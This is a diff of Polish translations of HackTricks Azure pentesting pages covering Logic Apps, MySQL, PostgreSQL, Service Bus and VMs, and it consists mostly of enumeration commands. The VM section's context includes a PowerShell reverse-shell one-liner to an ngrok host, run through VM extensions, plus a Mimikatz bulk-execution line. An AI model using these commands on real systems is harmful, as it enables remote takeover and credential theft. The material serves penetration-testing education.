- **Wielu najemców**: zapewnia współdzielone zasoby obliczeniowe, działa w chmurze publicznej i stosuje model cenowy płatności za operację. Jest to idealne rozwiązanie dla lekkich i opłacalnych obciążeń.
* **Standard**
- **Plan usługi przepływu pracy**: dedykowane zasoby obliczeniowe z integracją VNET dla sieci i opłatami za instancję planu usługi przepływu pracy. Jest odpowiedni dla bardziej wymagających obciążeń, które wymagają większej kontroli.
- **Środowisko usługi aplikacji V3**: dedykowane zasoby obliczeniowe z pełną izolacją i skalowalnością. Integruje się również z VNET dla sieci i stosuje model cenowy oparty na instancjach usługi aplikacji w środowisku. Jest to idealne dla aplikacji na dużą skalę, które potrzebują wysokiej izolacji.
@@ -43,9 +43,8 @@ Istnieje kilka opcji hostingu:
### Enumeracja
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List
az logic workflow list --resource-group <ResourceGroupName>
@@ -108,11 +107,9 @@ az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.LogicApp
@@ -137,11 +134,8 @@ Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
### Konta integracyjne
**Konta integracyjne** to funkcja Azure Logic Apps. Konta integracyjne są używane do ułatwienia integracji na poziomie przedsiębiorstwa, umożliwiając zaawansowane możliwości B2B, takie jak EDI, AS2 i zarządzanie schematami XML. Konta integracyjne są kontenerem w Azure, który przechowuje następujące artefakty używane w Logic Apps:
@@ -157,9 +151,8 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
#### Enumeracja
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Integration account
az logic integration-account list --resource-group <resource-group-name>
@@ -219,11 +212,9 @@ az logic integration-account assembly show \
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```powershell
Get-Command -Module Az.LogicApp
@@ -254,23 +245,22 @@ Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -Integr
# Retrieve details of a specific schema in an integration account
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
## Eskalacja Uprawnień
Tak samo jak eskalacja uprawnień w aplikacjach logicznych:
{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %}
[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md)
{% endcontent-ref %}
{{#ref}}
../az-privilege-escalation/az-logic-apps-privesc.md
{{#endref}}
## Po Eksploatacji
{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %}
[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md)
{% endcontent-ref %}
{{#ref}}
../az-post-exploitation/az-logic-apps-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,31 +1,30 @@
# Az - Bazy Danych MySQL
# Az - Bazy danych MySQL
{{#include ../../../banners/hacktricks-training.md}}
## Azure MySQL
Azure Database for MySQL to w pełni zarządzana usługa relacyjnej bazy danych oparta na edycji społeczności MySQL, zaprojektowana w celu zapewnienia skalowalności, bezpieczeństwa i elastyczności dla różnych potrzeb aplikacji. Posiada dwa różne modele wdrożenia:
Azure Database for MySQL to w pełni zarządzana usługa relacyjnej bazy danych oparta na MySQL Community Edition, zaprojektowana w celu zapewnienia skalowalności, bezpieczeństwa i elastyczności dla różnych potrzeb aplikacji. Posiada dwa różne modele wdrożenia:
* **Single Server** (jest na ścieżce wycofania):
- Optymalizowany pod kątem opłacalnych i łatwych w zarządzaniu wdrożeń MySQL.
- Funkcje obejmują automatyczne kopie zapasowe, wysoką dostępność i podstawowe monitorowanie.
- Idealny dla aplikacji z przewidywalnymi obciążeniami.
- Idealny dla aplikacji o przewidywalnych obciążeniach.
* **Flexible Server**:
- Zapewnia większą kontrolę nad zarządzaniem bazą danych i konfiguracją.
- Obsługuje wysoką dostępność (w tej samej strefie i redundantną strefę).
- Oferuje elastyczne skalowanie, zarządzanie poprawkami i optymalizację obciążenia.
- Funkcje obejmują elastyczne skalowanie, zarządzanie poprawkami i optymalizację obciążenia.
- Oferuje funkcjonalność zatrzymywania/uruchamiania w celu oszczędności kosztów.
### Kluczowe Funkcje
* **Zarządzanie Serwerem**: Funkcja **ad-admin** umożliwia zarządzanie administratorami Azure Active Directory (AAD) dla serwerów MySQL, zapewniając kontrolę nad dostępem administracyjnym za pomocą poświadczeń AAD, podczas gdy funkcja **identity** umożliwia przypisywanie i zarządzanie Azure Managed Identities, oferując bezpieczną, wolną od poświadczeń autoryzację do uzyskiwania dostępu do zasobów Azure.
* **Zarządzanie Cyklami Życia**: opcje uruchamiania lub zatrzymywania serwera, usuwania instancji elastycznego serwera, ponownego uruchamiania serwera w celu szybkiego zastosowania zmian konfiguracyjnych oraz oczekiwania, aby upewnić się, że serwer spełnia określone warunki przed kontynuowaniem skryptów automatyzacji.
* **Bezpieczeństwo i Sieci**: można zarządzać regułami zapory serwera w celu zapewnienia bezpiecznego dostępu do bazy danych oraz odłączać konfiguracje sieci wirtualnej w razie potrzeby.
* **Ochrona Danych i Kopie Zapasowe**: obejmuje opcje zarządzania kopiami zapasowymi elastycznego serwera w celu odzyskiwania danych, przeprowadzania geo-odtworzenia w celu odzyskania serwera w inny region, eksportowania kopii zapasowych serwera do użytku zewnętrznego (w wersji podglądowej) oraz przywracania serwera z kopii zapasowej do określonego momentu w czasie.
### Kluczowe funkcje
* **Zarządzanie serwerem**: Funkcja **ad-admin** umożliwia zarządzanie administratorami Azure Active Directory (AAD) dla serwerów MySQL, zapewniając kontrolę nad dostępem administracyjnym za pomocą poświadczeń AAD, podczas gdy funkcja **identity** umożliwia przypisywanie i zarządzanie Azure Managed Identities, oferując bezpieczną, wolną od poświadczeń autoryzację do uzyskiwania dostępu do zasobów Azure.
* **Zarządzanie cyklem życia**: opcje uruchamiania lub zatrzymywania serwera, usuwania instancji elastycznego serwera, ponownego uruchamiania serwera w celu szybkiego zastosowania zmian konfiguracyjnych oraz oczekiwania, aby upewnić się, że serwer spełnia określone warunki przed kontynuowaniem skryptów automatyzacji.
* **Bezpieczeństwo i sieci**: można zarządzać regułami zapory serwera w celu zapewnienia bezpiecznego dostępu do bazy danych oraz odłączać konfiguracje sieci wirtualnej w razie potrzeby.
* **Ochrona danych i kopie zapasowe**: obejmuje opcje zarządzania kopiami zapasowymi elastycznego serwera w celu odzyskiwania danych, wykonywania geo-odtworzenia w celu odzyskania serwera w innej regionie, eksportowania kopii zapasowych serwera do użytku zewnętrznego (w wersji podglądowej) oraz przywracania serwera z kopii zapasowej do określonego punktu w czasie.
### Enumeracja
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List all flexible-servers
az mysql flexible-server db list --resource-group <resource-group-name>
@@ -55,11 +54,9 @@ az mysql flexible-server maintenance list --resource-group <resource-group-name>
az mysql flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.MySql
@@ -95,15 +92,12 @@ Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName <resource-group-na
# List log files for a server
Get-AzMySqlFlexibleServerLog -ResourceGroupName <resource-group-name> -ServerName <server_name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
### Połączenie
Za pomocą rozszerzenia rdbms-connect możesz uzyskać dostęp do bazy danych za pomocą:
{% code overflow="wrap" %}
```bash
az mysql flexible-server connect -n <server-name> -u <username> -p <password> --interactive
@@ -116,17 +110,11 @@ az mysql flexible-server execute \
--querytext "SELECT * FROM <table-name>;"
```
{% endcode %}
Lub z wtyczką natywną rozszerzenia MySQL
{% code overflow="wrap" %}
Lub za pomocą wtyczki natywnej rozszerzenia MySQL
```bash
mysql -h <server-name>.mysql.database.azure.com -P 3306 -u <username> -p
```
{% endcode %}
Możesz również wykonywać zapytania za pomocą github, ale potrzebne są również hasło i użytkownik. Musisz utworzyć plik sql z zapytaniem do uruchomienia, a następnie:
{% code overflow="wrap" %}
```bash
# Setup
az mysql flexible-server deploy setup \
@@ -145,23 +133,21 @@ az mysql flexible-server deploy run \
--action-name <action-name> \
--branch <branch-name>
```
{% endcode %}
## Eskalacja Uprawnień
{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %}
[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md)
{% endcontent-ref %}
{{#ref}}
../az-privilege-escalation/az-mysql-privesc.md
{{#endref}}
## Po Eksploatacji
{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %}
[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md)
{% endcontent-ref %}
{{#ref}}
../az-post-exploitation/az-mysql-post-exploitation.md
{{#endref}}
## Do Zrobienia
* Sprawdź sposób dostępu z mysql flexible-server ad-admin, aby zweryfikować, czy to metoda eskalacji uprawnień
* Znaleźć sposób na dostęp do mysql flexible-server ad-admin, aby zweryfikować, czy to metoda eskalacji uprawnień
@@ -6,13 +6,13 @@
**Azure Database for PostgreSQL** to w pełni zarządzana **usługa bazy danych relacyjnych oparta na PostgreSQL** Community Edition. Została zaprojektowana w celu zapewnienia skalowalności, bezpieczeństwa i elastyczności dla różnych potrzeb aplikacji. Podobnie jak Azure MySQL, PostgreSQL oferuje dwa modele wdrożenia:
* **Single Server** (na ścieżce wycofania):
- Optymalizowane dla prostych, opłacalnych wdrożeń PostgreSQL.
- Optymalizowane dla prostych, ekonomicznych wdrożeń PostgreSQL.
- Oferuje automatyczne kopie zapasowe, podstawowe monitorowanie i wysoką dostępność.
- Idealne dla aplikacji z przewidywalnymi obciążeniami.
* **Flexible Server**:
- Zapewnia większą kontrolę nad zarządzaniem bazą danych i konfiguracją.
- Obsługuje wysoką dostępność, zarówno w tej samej strefie, jak i w różnych strefach.
- Oferuje elastyczne skalowanie, automatyczne utrzymanie i funkcjonalność oszczędzania kosztów.
- Oferuje elastyczne skalowanie, automatyczne utrzymanie i funkcjonalność oszczędzającą koszty.
- Umożliwia uruchamianie i zatrzymywanie serwera w celu optymalizacji kosztów.
### Kluczowe Cechy
@@ -26,9 +26,8 @@
### Enumeracja
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List servers in a resource group
az postgres flexible-server list --resource-group <resource-group-name>
@@ -64,11 +63,9 @@ az postgres flexible-server maintenance list --resource-group <resource-group-na
az postgres flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.PostgreSql
@@ -91,15 +88,12 @@ Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location <location>
Get-AzPostgreSqlServer -ResourceGroupName <resource-group-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
### Połączenie
Za pomocą rozszerzenia rdbms-connect możesz uzyskać dostęp do bazy danych za pomocą:
{% code overflow="wrap" %}
```bash
az postgres flexible-server connect -n <server-name> -u <username> -p <password> --interactive
@@ -112,32 +106,27 @@ az postgres flexible-server execute \
--querytext "SELECT * FROM <table-name>;"
```
{% endcode %}
Lub
{% code overflow="wrap" %}
```bash
psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser <database-name>
```
{% endcode %}
## Odniesienia
* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview)
- [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview)
## Eskalacja Uprawnień
{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %}
[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md)
{% endcontent-ref %}
{{#ref}}
../az-privilege-escalation/az-postgresql-privesc.md
{{#endref}}
## Po Eksploatacji
{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %}
[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md)
{% endcontent-ref %}
{{#ref}}
../az-post-exploitation/az-postgresql-post-exploitation.md
{{#endref}}
## Do Zrobienia
@@ -12,19 +12,19 @@ Azure Queue Storage to usługa w chmurze Microsoft Azure zaprojektowana do kolej
{{#tab name="Az Cli" }}
```bash
# You need to know the --account-name of the storage (az storage account list)
az storage queue list --account-name <storage_account>
az storage queue list --account-name <storage_account> # --auth-mode login
# Queue Metadata
az storage queue metadata show --name <queue_name> --account-name <storage_account>
az storage queue metadata show --name <queue_name> --account-name <storage_account> # --auth-mode login
#Get ACL
az storage queue policy list --queue-name <queue_name> --account-name <storage_account>
az storage queue policy list --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
# Get Messages (getting a message deletes it)
az storage message get --queue-name <queue_name> --account-name <storage_account>
az storage message get --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
# Peek Messages
az storage message peek --queue-name <queue_name> --account-name <storage_account>
az storage message peek --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
```
{{#endtab }}
@@ -6,32 +6,32 @@
Azure Service Bus to oparta na chmurze **usługa komunikacyjna**, zaprojektowana w celu umożliwienia niezawodnej **komunikacji między różnymi częściami aplikacji lub oddzielnymi aplikacjami**. Działa jako bezpieczny pośrednik, zapewniając, że wiadomości są bezpiecznie dostarczane, nawet jeśli nadawca i odbiorca nie działają jednocześnie. Dzięki odseparowaniu systemów, pozwala aplikacjom działać niezależnie, jednocześnie wymieniając dane lub instrukcje. Jest szczególnie przydatna w scenariuszach wymagających równoważenia obciążenia między wieloma pracownikami, niezawodnego dostarczania wiadomości lub złożonej koordynacji, takiej jak przetwarzanie zadań w kolejności lub bezpieczne zarządzanie dostępem.
### Kluczowe pojęcia
### Kluczowe Koncepcje
1. **Kolejki:** jej celem jest przechowywanie wiadomości, aż odbiorca będzie gotowy.
- Wiadomości są uporządkowane, opatrzone znacznikami czasu i trwale przechowywane.
- Dostarczane w trybie pull (na żądanie).
- Wspiera komunikację punkt-punkt.
2. **Tematy:** komunikacja typu publish-subscribe do nadawania.
2. **Tematy:** Publikowanie-subskrypcja wiadomości do nadawania.
- Wiele niezależnych subskrypcji otrzymuje kopie wiadomości.
- Subskrypcje mogą mieć zasady/filtry do kontrolowania dostarczania lub dodawania metadanych.
- Wspiera komunikację wiele-do-wielu.
3. **Przestrzenie nazw:** Kontener dla wszystkich komponentów komunikacyjnych, kolejek i tematów, jest jak własny kawałek potężnego klastra Azure, zapewniający dedykowaną pojemność i opcjonalnie rozciągający się na trzy strefy dostępności.
### Zaawansowane funkcje
### Zaawansowane Funkcje
Niektóre zaawansowane funkcje to:
- **Sesje wiadomości**: Zapewnia przetwarzanie FIFO i wspiera wzorce request-response.
- **Auto-przekazywanie**: Przenosi wiadomości między kolejkami lub tematami w tej samej przestrzeni nazw.
- **Dead-Lettering**: Zbiera wiadomości, które nie mogą być dostarczone do przeglądu.
- **Zaplanuj dosta**: Opóźnia przetwarzanie wiadomości na przyszłe zadania.
- **Sesje wiadomości**: Zapewnia przetwarzanie FIFO i wspiera wzorce żądanie-odpowiedź.
- **Automatyczne przekazywanie**: Przenosi wiadomości między kolejkami lub tematami w tej samej przestrzeni nazw.
- **Martwe litery**: Zbiera wiadomości, które nie mogą być dostarczone do przeglądu.
- **Zaplanuje dostarczenie**: Opóźnia przetwarzanie wiadomości na przyszłe zadania.
- **Odwlekanie wiadomości**: Opóźnia pobieranie wiadomości do momentu, gdy będzie to możliwe.
- **Transakcje**: Grupuje operacje w atomowe wykonanie.
- **Filtry i akcje**: Stosuje zasady do filtrowania lub adnotacji wiadomości.
- **Auto-usuwanie w bezczynności**: Usuwa kolejki po braku aktywności (min: 5 minut).
- **Automatyczne usuwanie w stanie bezczynności**: Usuwa kolejki po braku aktywności (min: 5 minut).
- **Wykrywanie duplikatów**: Usuwa duplikaty wiadomości podczas ponownych wysyłek.
- **Usuwanie wsadowe**: Hurtowo usuwa wygasłe lub niepotrzebne wiadomości.
- **Usuwanie wsadowe**: Masowo usuwa wygasłe lub niepotrzebne wiadomości.
### Zasady autoryzacji / Polityka SAS
@@ -51,9 +51,8 @@ sku, zasada autoryzacji,
### Enumeracja
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Queue Enumeration
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
@@ -81,11 +80,9 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```powershell
Get-Command -Module Az.ServiceBus
@@ -128,9 +125,8 @@ Get-AzServiceBusSubscription -ResourceGroupName <ResourceGroupName> -NamespaceNa
# Retrieves details of a specified topic in a Service Bus namespace.
Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
### Eskalacja Uprawnień
@@ -147,8 +143,8 @@ Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <Nam
## Odniesienia
- https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli
- [https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0](https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0)
- [https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview)
- [https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli)
{{#include ../../../banners/hacktricks-training.md}}
@@ -29,14 +29,14 @@ Maszyny Wirtualne (VM) w Azure to elastyczne, na żądanie **serwery w chmurze,
- **Podstawowe**: Umożliwia łatwe otwieranie portów przychodzących HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- **Zaawansowane**: Wybierz grupę zabezpieczeń
- **Kopia zapasowa**: Możliwe jest włączenie **Standardowej** kopii zapasowej (raz dziennie) i **Ulepszonej** (wiele razy dziennie)
- **Opcje orkiestracji łatek**: Umożliwia automatyczne stosowanie poprawek w VM zgodnie z wybraną polityką, jak opisano w [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
- **Opcje orkiestracji poprawek**: Umożliwia automatyczne stosowanie poprawek w VM zgodnie z wybraną polityką, jak opisano w [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
- **Alerty**: Możliwe jest automatyczne otrzymywanie alertów e-mailem lub aplikacją mobilną, gdy coś się wydarzy w VM. Domyślne zasady:
- Procent CPU jest większy niż 80%
- Dostępna pamięć bajtów jest mniejsza niż 1GB
- Dostępna pamięć bajtów jest mniejsza niż 1 GB
- Procent zużycia IOPS dysków danych jest większy niż 95%
- Procent zużycia IOPS systemu operacyjnego jest większy niż 95%
- Całkowita sieć jest większa niż 500GB
- Całkowita sieć wychodząca jest większa niż 200GB
- Całkowita sieć jest większa niż 500 GB
- Całkowita sieć wychodząca jest większa niż 200 GB
- Metryka dostępności VM jest mniejsza niż 1
- **Monitor zdrowia**: Domyślnie sprawdza protokół HTTP na porcie 80
- **Blokady**: Umożliwia zablokowanie VM, aby mogła być tylko odczytywana (**ReadOnly** lock) lub mogła być odczytywana i aktualizowana, ale nie usuwana (**CanNotDelete** lock).
@@ -144,13 +144,13 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Azure Site Recovery
Z dokumentów [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery pomaga zapewnić ciągłość działania biznesu, utrzymując aplikacje i obciążenia biznesowe w działaniu podczas awarii. Site Recovery **replikuje obciążenia** działające na fizycznych i wirtualnych maszynach (VM) z głównej lokalizacji do lokalizacji zapasowej. Gdy wystąpi awaria w głównej lokalizacji, przełączasz się do lokalizacji zapasowej i uzyskujesz dostęp do aplikacji stamtąd. Po przywróceniu głównej lokalizacji możesz wrócić do niej.
Z dokumentów: Site Recovery pomaga zapewnić ciągłość działania firmy, utrzymując aplikacje biznesowe i obciążenia w działaniu podczas awarii. Site Recovery **replikuje obciążenia** działające na fizycznych i wirtualnych maszynach (VM) z głównej lokalizacji do lokalizacji zapasowej. Gdy wystąpi awaria w Twojej głównej lokalizacji, przełączasz się do lokalizacji zapasowej i uzyskujesz dostęp do aplikacji stamtąd. Po przywróceniu działania głównej lokalizacji możesz wrócić do niej.
## Azure Bastion
Azure Bastion umożliwia bezpieczny i bezproblemowy dostęp **Remote Desktop Protocol (RDP)** i **Secure Shell (SSH)** do twoich wirtualnych maszyn (VM) bezpośrednio przez portal Azure lub za pośrednictwem jump boxa. Poprzez **eliminację potrzeby publicznych adresów IP** na twoich VM.
Azure Bastion umożliwia bezpieczny i bezproblemowy dostęp **Remote Desktop Protocol (RDP)** i **Secure Shell (SSH)** do Twoich wirtualnych maszyn (VM) bezpośrednio przez portal Azure lub za pośrednictwem jump boxa. Poprzez **eliminację potrzeby publicznych adresów IP** na Twoich VM.
Bastion wdraża podsieć o nazwie **`AzureBastionSubnet`** z maską sieciową `/26` w VNet, w którym musi działać. Następnie pozwala na **połączenie z wewnętrznymi VM przez przeglądarkę** używając `RDP` i `SSH`, unikając wystawiania portów VM na Internet. Może również działać jako **jump host**.
Bastion wdraża podsieć o nazwie **`AzureBastionSubnet`** z maską sieciową `/26` w VNet, w którym musi działać. Następnie umożliwia **połączenie z wewnętrznymi VM przez przeglądarkę** używając `RDP` i `SSH`, unikając wystawiania portów VM na Internet. Może również działać jako **jump host**.
Aby wylistować wszystkie hosty Azure Bastion w swojej subskrypcji i połączyć się z VM przez nie, możesz użyć następujących poleceń:
@@ -189,17 +189,20 @@ Get-AzBastion
## Metadane
Usługa metadanych instancji Azure (IMDS) **zapewnia informacje o działających instancjach maszyn wirtualnych** w celu wspomagania ich zarządzania i konfiguracji. Oferuje szczegóły takie jak SKU, przechowywanie, konfiguracje sieciowe oraz informacje o nadchodzących wydarzeniach konserwacyjnych za pośrednictwem **REST API dostępnego pod adresem IP 169.254.169.254**, który jest dostępny tylko z wnętrza VM. Komunikacja między VM a IMDS pozostaje w obrębie hosta, zapewniając bezpieczny dostęp. Podczas zapytań do IMDS, klienci HTTP wewnątrz VM powinni omijać proxy internetowe, aby zapewnić prawidłową komunikację.
Usługa metadanych instancji Azure (IMDS) **zapewnia informacje o działających instancjach maszyn wirtualnych** w celu wsparcia ich zarządzania i konfiguracji. Oferuje szczegóły takie jak SKU, przechowywanie, konfiguracje sieciowe oraz informacje o nadchodzących wydarzeniach konserwacyjnych za pośrednictwem **REST API dostępnego pod adresem IP 169.254.169.254**, który jest dostępny tylko z wnętrza VM. Komunikacja między VM a IMDS pozostaje w obrębie hosta, zapewniając bezpieczny dostęp. Podczas zapytań do IMDS, klienci HTTP wewnątrz VM powinni omijać proxy webowe, aby zapewnić prawidłową komunikację.
Ponadto, aby skontaktować się z punktem końcowym metadanych, żądanie HTTP musi mieć nagłówek **`Metadata: true`** i nie może mieć nagłówka **`X-Forwarded-For`**.
Sprawdź, jak to zenumerować w:
Sprawdź, jak to enumerować w:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}
## Enumeracja VM
{{#tabs}}
{{#tab name="az cli"}}
```bash
# VMs
## List all VMs and get info about one
@@ -335,7 +338,9 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
# List all available run commands for virtual machines
az vm run-command list --output table
```
{{#endtab }}
{{#tab name="Az Powershell" }}
```bash
# Get readable VMs
Get-AzVM | fl
@@ -427,7 +432,10 @@ Get-AzStorageAccount
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
```
## Wykonywanie kodu w VM
{{#endtab }}
{{#endtabs }}
## Wykonanie kodu w VM
### Rozszerzenia VM
@@ -493,7 +501,7 @@ az vm extension set \
{{#tab name="Windows" }}
- Wykonaj powłokę odwrotną
- Wykonaj odwrotną powłokę
```bash
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
@@ -539,7 +547,7 @@ Wymagana zgoda to **`Microsoft.Compute/virtualMachines/extensions/write`**.
<summary>Rozszerzenie VMAccess</summary>
To rozszerzenie pozwala na modyfikację hasła (lub utworzenie, jeśli nie istnieje) użytkowników wewnątrz maszyn wirtualnych Windows.
To rozszerzenie umożliwia modyfikację hasła (lub utworzenie, jeśli nie istnieje) użytkowników wewnątrz maszyn wirtualnych Windows.
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
@@ -625,7 +633,7 @@ To są ścieżki, w których aplikacje są pobierane w systemie plików:
Sprawdź, jak zainstalować nowe aplikacje w [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
> [!CAUTION]
> Możliwe jest **udostępnienie poszczególnych aplikacji i galerii innym subskrypcjom lub najemcom**. Co jest bardzo interesujące, ponieważ może to pozwolić atakującemu na wprowadzenie backdoora do aplikacji i przejście do innych subskrypcji i najemców.
> Możliwe jest **dzielenie się poszczególnymi aplikacjami i galeriami z innymi subskrypcjami lub najemcami**. Co jest bardzo interesujące, ponieważ może to pozwolić atakującemu na wprowadzenie backdoora do aplikacji i przejście do innych subskrypcji i najemców.
Jednak **nie ma "rynku" dla aplikacji vm**, jak to ma miejsce w przypadku rozszerzeń.
@@ -731,7 +739,7 @@ Możliwe jest przekazanie pewnych danych do VM, które będą przechowywane w oc
- W **Linux** były przechowywane w `/var/lib/waagent/ovf-env.xml`, a teraz są przechowywane w `/var/lib/waagent/CustomData/ovf-env.xml`
- **Agent Linux**: Domyślnie nie przetwarza danych niestandardowych, potrzebny jest niestandardowy obraz z włączonymi danymi
- **cloud-init:** Domyślnie przetwarza dane niestandardowe, a te dane mogą być w [**kilku formatach**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Może łatwo wykonać skrypt, wysyłając po prostu skrypt w danych niestandardowych.
- Próbowałem, aby zarówno Ubuntu, jak i Debian wykonywały skrypt, który tutaj umieścisz.
- Próbowałem, aby zarówno Ubuntu, jak i Debian wykonały skrypt, który tutaj umieścisz.
- Nie ma również potrzeby włączania danych użytkownika, aby to mogło być wykonane.
```bash
#!/bin/sh
@@ -790,7 +798,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md
{{#endref}}
## Dostęp bez uwierzytelnienia
## Dostęp bez Uwierzytelnienia
{{#ref}}
../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md
@@ -808,7 +816,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
